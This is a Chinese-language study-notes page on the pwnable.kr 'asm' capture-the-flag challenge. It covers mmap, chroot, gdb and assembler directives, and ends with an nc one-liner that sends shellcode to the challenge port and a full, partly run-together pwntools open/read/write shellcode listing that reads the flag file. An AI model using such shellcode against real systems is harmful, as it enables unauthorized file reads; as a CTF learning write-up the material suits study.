pwnable.k asm 知识点总结

编程入门 行业动态 更新时间:2024-10-27 15:26:15

pwnable.k asm <a href=https://www.elefans.com/category/jswz/34/1770093.html style=知识点总结"/>

pwnable.k asm 知识点总结

1.mmap 创建新的内存虚拟区域

void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

start: 新的虚拟内存区域最好是从start 开始的一个区域

length: 连续的对象片的大小为length 字节

offset:从据文件开始处偏移量为offset字节的地方开始

prot:包含描述新映射的虚拟内存区域的访问权限位(即在相应区域节后中的vm_prot位)
1.PROT_EXEC这个区域内的页面有可以被CPU执行的指令组成
2.PROT_READ:这个区域的页面可读
3.PROT_WRITE:这个区域内的页面可写
4.PROT_NONO:这个区域的页面不能被访问

flags:由描述被映射对象类型的位组成。如果设置了MAP_ANON标记位,那么被映射的对象就是一个匿名对象,而相应的虚拟页面是请求二进制零的。
MAP_PRIVATE表示被映射的对象是一个私有的、写时复制的对象,而MAP_SHARED表示时一个共享对象

off_set:SUSv3 规定mmap() 的offset参数必须要与分页对齐,而addr(start)参数在指定了MAP_FIXED情况下也必须要与分页对齐。如果指定了MAP_FIXED并且addr为非零值,那么addroffset 除以系统分页大小所得的余数应该
相等

匿名文件映射:匿名映射时没有对应文件的一种映射在flags中指定MAP_ANONYMOUS 并将fd 指定为-1

fd和offset 是用于文件映射的,匿名映射将忽略它们

  1. chroot
    每个进程都有一个根目录,该目录是解释绝对路径(即哪些以/开始的目录)时的起点,默认情况下,这是文件系统的真是目录。(新进程从其父进程处继承根目录。)有些场合需要改变一个进程的根目录,而特权级(CAP_SYS_CHROOT)进程通过chroot()系统调用能够做到这一点。
#define _BSD_SOURCE
#include <unistd.h>
int chroot(const char *pathname);

chroot()系统调用将进程的根目录改为由pathname指定的目录(如果pathname时符号链接,还将对其解引用)。自此,对所有绝对路径名的解释都将以该文件系统的这一位置作为起点。鉴于这会将应用程序限定于文件系统的特定区域,有时也将此称为设立了一个chroot监禁区。

  1. (gdb) x/gx $rsp
    gx 待变数值用64位16进制显示

4.汇编指令中equ 指令 相当于C语言的#define
例如:
COUNT EQU 100;令COUNT的值为100,存储器中为变量分配 0个字节
COUNT DB 100 ;令COUNT的值为100,存储器中为变量分配 1个字节
COUNT DW 100 ;令COUNT的值为100,存储器中为变量分配 2个字节

5.$ 在汇编指令中代表当前地址
count EQU $-ARRA 定义了一个常量,不占用内存单元,代码段中使用它,等价于使用一个立即数。

6.python -c 'print “shellcode…”.decode(“hex”) ’ | nc 0 9026

7.提取pwntools生成的64位open,read,write 系统调用汇编代码

section .textglobal main
main:
/* push 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very
_looooooooooooooooooooooooooooo
ooooooooooooooooooooooooooooooo
oooooooooooooooo00000000000000000000000
00ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00' */mov rax, 0x101010101010101push raxmov rax, 0x101010101010101 ^ 0x676e6f306f306fxor [rsp], raxmov rax, 0x306f306f306f306fpush raxmov rax, 0x3030303030303030push raxmov rax, 0x303030306f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f3030303030push raxmov rax, 0x3030303030303030push raxmov rax, 0x3030303030303030push raxmov rax, 0x303030306f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6f6f6f6f6f6f6f6fpush raxmov rax, 0x6c5f797265765f73push raxmov rax, 0x695f656d616e5f65push raxmov rax, 0x6c69665f6568745fpush raxmov rax, 0x7972726f732e656cpush raxmov rax, 0x69665f736968745fpush raxmov rax, 0x646165725f657361push raxmov rax, 0x656c705f656c6966push raxmov rax, 0x5f67616c665f726bpush raxmov rax, 0x2e656c62616e7770push raxmov rax, 0x5f73695f73696874push rax
open:/* open(file='rsp', oflag=0, mode=0)*/ mov rdi, rsp  xor edx, edxxor esi, esipush SYS_openpop rax    syscallread:/*call read('rax', 'rsp', 100)*/ mov rdi, raxxor eax, eax /* SYS_read */push 0x64pop rdxmov rsi, rspsyscallwrite:/* write(fd=1, buf='rsp', n=100) */push 1pop rdipush 0x64pop rdxmov rsi, rsp/* call write() */push SYS_write /* 1 */pop raxsyscall

更多推荐

pwnable.k asm 知识点总结

本文发布于:2023-07-28 17:51:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1267573.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:知识点   pwnable   asm

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!